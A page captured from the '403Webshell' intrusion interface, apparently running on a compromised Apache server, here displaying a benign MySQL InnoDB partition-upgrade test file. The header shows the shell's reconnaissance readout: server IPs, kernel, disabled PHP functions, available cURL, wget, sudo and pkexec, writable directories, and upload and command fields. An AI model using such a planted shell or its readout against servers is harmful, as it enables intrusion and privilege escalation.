403Webshell
Server IP : 104.21.38.3  /  Your IP : 162.158.162.39
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/innodb/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/innodb/t/partition-upgrade.test
# Can't run test of external client with embedded server
--source include/not_embedded.inc
--source include/have_innodb.inc

let $MYSQLD_DATADIR=`SELECT @@datadir`;
let PATH_TO_TABLE=$MYSQLD_DATADIR/test/t575;
let FILE_LIST_PATTERN=$MYSQLD_DATADIR/test/t575*ibd;

--source include/create_575_part_table.inc

--source include/get_frm_info.inc
SHOW CREATE TABLE t575;
--echo # File list of test/t575*
--replace_result #p# #P# #sp# #SP#
--list_files $MYSQLD_DATADIR/test t575*

--echo # Flush the table data files
FLUSH TABLE t575 FOR EXPORT;
--source include/get_frm_info.inc
let LIST_OUT_FILE=$MYSQLD_DATADIR/test/list_t575_1.txt;
--source include/list_files_with_size_and_hash.inc
UNLOCK TABLES;

SHOW CREATE TABLE t575;

--enable_info
CHECK TABLE t575;
CHECK TABLE t575 FOR UPGRADE;
CHECK TABLE t575;
ALTER TABLE t575 UPGRADE PARTITIONING;
ALTER TABLE t575 UPGRADE PARTITIONING;

--echo # Flush the table data files
FLUSH TABLE t575 FOR EXPORT;
let LIST_OUT_FILE=$MYSQLD_DATADIR/test/list_t575_2.txt;
--source include/list_files_with_size_and_hash.inc
--diff_files $MYSQLD_DATADIR/test/list_t575_1.txt $MYSQLD_DATADIR/test/list_t575_2.txt
UNLOCK TABLES;

--echo # Test mysql_upgrade
--echo # First with the already upgraded table
--exec $MYSQL_UPGRADE --skip-verbose --skip-version-check --skip-sys-schema --skip-upgrade-system-tables --force 2>&1

--echo # Flush the table data files
FLUSH TABLE t575 FOR EXPORT;
--source include/get_frm_info.inc
let LIST_OUT_FILE=$MYSQLD_DATADIR/test/list_t575_3.txt;
--source include/list_files_with_size_and_hash.inc
--diff_files $MYSQLD_DATADIR/test/list_t575_2.txt $MYSQLD_DATADIR/test/list_t575_3.txt
SHOW CREATE TABLE t575;
UNLOCK TABLES;

--echo # Flush out the old table definition
FLUSH TABLE t575;

--echo # Replace the .frm and copy a .par file, so it is the same as a 5.7.5
--echo # table. InnoDB internals is the same.
--remove_file $MYSQLD_DATADIR/test/t575.frm
--copy_file std_data/parts/t575.frm $MYSQLD_DATADIR/test/t575.frm
--copy_file std_data/parts/t575.par $MYSQLD_DATADIR/test/t575.par

--source include/get_frm_info.inc
SHOW CREATE TABLE t575;

--echo # Then with 5.7.5 version of .frm and .par files
--exec $MYSQL_UPGRADE --skip-verbose --skip-version-check --skip-sys-schema --skip-upgrade-system-tables --force 2>&1

--echo # Flush the table data files
FLUSH TABLE t575 FOR EXPORT;
--source include/get_frm_info.inc
let LIST_OUT_FILE=$MYSQLD_DATADIR/test/list_t575_4.txt;
--source include/list_files_with_size_and_hash.inc
--diff_files $MYSQLD_DATADIR/test/list_t575_3.txt $MYSQLD_DATADIR/test/list_t575_4.txt
SHOW CREATE TABLE t575;
UNLOCK TABLES;

--echo # Verify that ALTER TABLE would change the file digest hash
ALTER TABLE t575 ENGINE = INNODB, ALGORITHM = COPY;

--echo # Flush the table data files
FLUSH TABLE t575 FOR EXPORT;
--source include/get_frm_info.inc
let LIST_OUT_FILE=$MYSQLD_DATADIR/test/list_t575_5.txt;
--source include/list_files_with_size_and_hash.inc
# Expect it to be different
--error 1
--diff_files $MYSQLD_DATADIR/test/list_t575_4.txt $MYSQLD_DATADIR/test/list_t575_5.txt
UNLOCK TABLES;

SHOW CREATE TABLE t575;

DROP TABLE t575;

--source include/create_575_part_table.inc
--error ER_PARSE_ERROR
ALTER TABLE t575 COMMENT = 'test' UPGRADE PARTITIONING;
--error ER_PARSE_ERROR
ALTER TABLE t575 UPGRADE PARTITIONING COMMENT = 'test';

--echo # Test that all ALTER that modify the .frm contents also updates to
--echo # native partitioning. (I.e. all ALTER except empty, RENAME and
--echo # ENABLE/DISABLE KEYS)
ALTER TABLE t575 ALGORITHM = INPLACE;
--source include/get_frm_info.inc

ALTER TABLE t575 ALGORITHM = DEFAULT;
--source include/get_frm_info.inc

ALTER TABLE t575;
--source include/get_frm_info.inc

ALTER TABLE t575 ALGORITHM = COPY;
--source include/get_frm_info.inc
DROP TABLE t575;

--source include/create_575_part_table.inc
ALTER TABLE t575 RENAME TO t1;
let PATH_TO_TABLE=$MYSQLD_DATADIR/test/t1;
--source include/get_frm_info.inc

ALTER TABLE t1 RENAME TO t575, ALGORITHM = INPLACE;
let PATH_TO_TABLE=$MYSQLD_DATADIR/test/t575;
--source include/get_frm_info.inc

ALTER TABLE t575 RENAME TO t1, ALGORITHM = DEFAULT;
let PATH_TO_TABLE=$MYSQLD_DATADIR/test/t1;
--source include/get_frm_info.inc

ALTER TABLE t1 RENAME TO t575, ALGORITHM = COPY;
let PATH_TO_TABLE=$MYSQLD_DATADIR/test/t575;
--source include/get_frm_info.inc
DROP TABLE t575;

--source include/create_575_part_table.inc

ALTER TABLE t575 DISABLE KEYS, ALGORITHM = INPLACE;
--source include/get_frm_info.inc
ALTER TABLE t575 ENABLE KEYS, ALGORITHM = DEFAULT;
--source include/get_frm_info.inc
ALTER TABLE t575 DISABLE KEYS;
--source include/get_frm_info.inc

--replace_regex /'#sql-[0-9a-f_]*'/'#sql-nnnn_n'/
ALTER TABLE t575 ENABLE KEYS, ALGORITHM = COPY;
--source include/get_frm_info.inc
DROP TABLE t575;

--echo # Forced ALTER must do a rebuilt
--source include/create_575_part_table.inc
--echo # Flush the table data files
FLUSH TABLE t575 FOR EXPORT;
--source include/get_frm_info.inc
--remove_files_wildcard $MYSQLD_DATADIR/test list_t575*.txt
let LIST_OUT_FILE=$MYSQLD_DATADIR/test/list_t575_1.txt;
--source include/list_files_with_size_and_hash.inc
UNLOCK TABLES;
ALTER TABLE t575 ENGINE = InnoDB;
--echo # Flush the table data files
FLUSH TABLE t575 FOR EXPORT;
--source include/get_frm_info.inc
let LIST_OUT_FILE=$MYSQLD_DATADIR/test/list_t575_2.txt;
--source include/list_files_with_size_and_hash.inc
UNLOCK TABLES;
--error 1
--diff_files $MYSQLD_DATADIR/test/list_t575_1.txt $MYSQLD_DATADIR/test/list_t575_2.txt
DROP TABLE t575;

--echo # ALTER PARTITION will also upgrade the table to native partitioning!
--source include/create_575_part_table.inc
ALTER TABLE t575 REORGANIZE PARTITION pmax INTO
(PARTITION p2 VALUES LESS THAN (300),
 PARTITION pmax VALUES LESS THAN MAXVALUE);
--source include/get_frm_info.inc
SHOW CREATE TABLE t575;
DROP TABLE t575;

--source include/create_575_part_table.inc
--echo # changing comment is default INPLACE with ha_innopart!
ALTER TABLE t575 COMMENT = 'test comment';
--source include/get_frm_info.inc
SHOW CREATE TABLE t575;
DROP TABLE t575;

--echo # NOTICE that REPAIR/ANALYZE does not upgrade the table!
--source include/create_575_part_table.inc
REPAIR TABLE t575;
--source include/get_frm_info.inc
--disable_info
SHOW CREATE TABLE t575;
--echo # File list of test/t575*
--replace_result #p# #P# #sp# #SP#
--list_files $MYSQLD_DATADIR/test t575*
ANALYZE TABLE t575;
--source include/get_frm_info.inc
--echo # But OPTIMIZE does upgrade to native partitioning!
OPTIMIZE TABLE t575;
--source include/get_frm_info.inc
DROP TABLE t575;

--source include/create_575_part_table.inc
--source include/get_frm_info.inc
--enable_info
ALTER TABLE t575 MODIFY b varchar(65), ALGORITHM = INPLACE;
--disable_info
--source include/get_frm_info.inc
DROP TABLE t575;

--source include/create_575_part_table.inc
--source include/get_frm_info.inc
--enable_info
ALTER TABLE t575 change b c varchar(65);
--disable_info
--source include/get_frm_info.inc
DROP TABLE t575;

--source include/create_575_part_table.inc
--source include/get_frm_info.inc
--enable_info
ALTER TABLE t575 ADD INDEX (b);
--disable_info
--source include/get_frm_info.inc
DROP TABLE t575;

--source include/create_575_part_table.inc
--source include/get_frm_info.inc
--enable_info
CREATE INDEX b ON t575 (b);
--disable_info
--source include/get_frm_info.inc
DROP TABLE t575;

--source include/create_575_part_table.inc
--source include/get_frm_info.inc
--enable_info
DROP INDEX `PRIMARY` ON t575;
--disable_info
--source include/get_frm_info.inc
DROP TABLE t575;

--remove_files_wildcard $MYSQLD_DATADIR/test list_t575*.txt

--source include/mysql_upgrade_cleanup.inc

Youez - 2016 - github.com/yon3zu
LinuXploit